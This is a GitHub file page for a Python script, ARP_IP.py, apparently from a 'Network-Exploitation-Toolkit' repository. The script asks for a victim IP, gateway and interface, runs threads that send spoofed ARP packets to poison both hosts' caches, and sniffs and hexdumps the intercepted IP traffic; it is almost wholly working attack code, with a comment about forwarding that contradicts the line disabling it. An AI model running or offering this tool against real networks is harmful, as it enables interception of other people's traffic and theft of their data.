new_contents: Network-Exploitation-Toolkit/ARP_IP.py
  33861d2  7 hours ago
  @Dylan-halls Dylan-halls Add files via upload
  1 contributor
  RawBlameHistory    
  104 lines (86 sloc)  3.13 KB
  import logging
  logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  from scapy.all import *
  import threading
  from termcolor import colored
  
  os.system("clear")
  
  print("""
                  ._____________ 
                  |   \______   )
                  |   ||     ___)
                  |   ||    |    
                  |___||____|    
                 
  	""")
  
  os.system('echo 0 > /proc/sys/net/ipv4/ip_forward') #Ensure the victim recieves packets by forwarding them
  
  VIP = input("\nVictim: ")
  GW = input("Gateway: ")
  IFACE = input("Interface: ")
  
  str(GW)
  str(VIP)
  str(IFACE)
  
  def pkthandler(pkt):
     if pkt.haslayer(IP):
        ip = pkt[IP]
        
        print("--------------------------------------------------------\n\n")
        print("                     .:{}:.                            ".format(colored('IP','red')))
        print("                                                          ")
        print("  \033[1;36mSource IP:\033[00m {} \033[1;36mDestination IP:\033[00m {}".format(ip.src, ip.dst))      
        print("  \033[1;36mVersion:\033[00m {}".format(ip.version))
        print("  \033[1;36mIHL:\033[00m {}".format(ip.ihl))
        print("  \033[1;36mType Of Service:\033[00m {}".format(ip.tos))
        print("  \033[1;36mTotal Length:\033[00m {}".format(ip.len))
        print("  \033[1;36mIdentification:\033[00m {}".format(ip.id))
        print("  \033[1;36mFlags:\033[00m {}".format(ip.flags))
        print("  \033[1;36mFragment Offset:\033[00m {}".format(ip.frag))
        print("  \033[1;36mTime To Live:\033[00m {}".format(ip.ttl))
        if ip.proto == 6:
           print("  \033[1;36mProtocol:\033[00m {}".format('TCP'))
        elif ip.proto == 1:
           print("  \033[1;36mProtocol:\033[00m {}".format('ICMP'))
        elif ip.proto == 17:
           print("  \033[1;36mProtocol:\033[00m {}".format('UDP'))
        else:
        	 print("  \033[1;36mProtocol:\033[00m {}".format(ip.proto))
        print("  \033[1;36mHeader Checksum:\033[00m {}".format(ip.chksum))
  
        print(" ")
        print(" ")
        hexdump(pkt)
  
  
  
  def v_poison():
     v = ARP(pdst=VIP, psrc=GW,)
     while True:
        try:   
           send(v,verbose=0,inter=1,loop=1)
        except KeyboardInterupt:                     # Functions constructing and sending the ARP packets
           sys.exit(1)
  
  def gw_poison():
     gw = ARP(pdst=GW, psrc=VIP)
     while True:
        try:
           send(gw,verbose=0,inter=1,loop=1)
        except KeyboardInterupt:
           sys.exit(1)
  
  def format_muti_lines(prefix, string, size=80):
    size -= len(prefix)
    if isinstance(string, bytes):
       string = ''.join(r'\x{:02x}'.format(byte) for byte in string)
       if size % 2:
          size -= 1
    return '\n'.join([prefix + line for line in textwrap.wrap(string, size)])
   
  vthread = []
  gwthread = []  
   
  while True:     # Threads
    vpoison = threading.Thread(target=v_poison)
    vpoison.setDaemon(True)
    vthread.append(vpoison)
    vpoison.start()        
         
    gwpoison = threading.Thread(target=gw_poison)
    gwpoison.setDaemon(True)
    gwthread.append(gwpoison)
    gwpoison.start()
    
    try:
       pkt = sniff(iface=str(IFACE),prn=pkthandler)
    except KeyboardInterrupt:
       os.system("{ cd ..; python3 net.py; }")
       exit(0)
  if __name__ == "__main__":
     IP()
  
subject: Create ARP_IP.py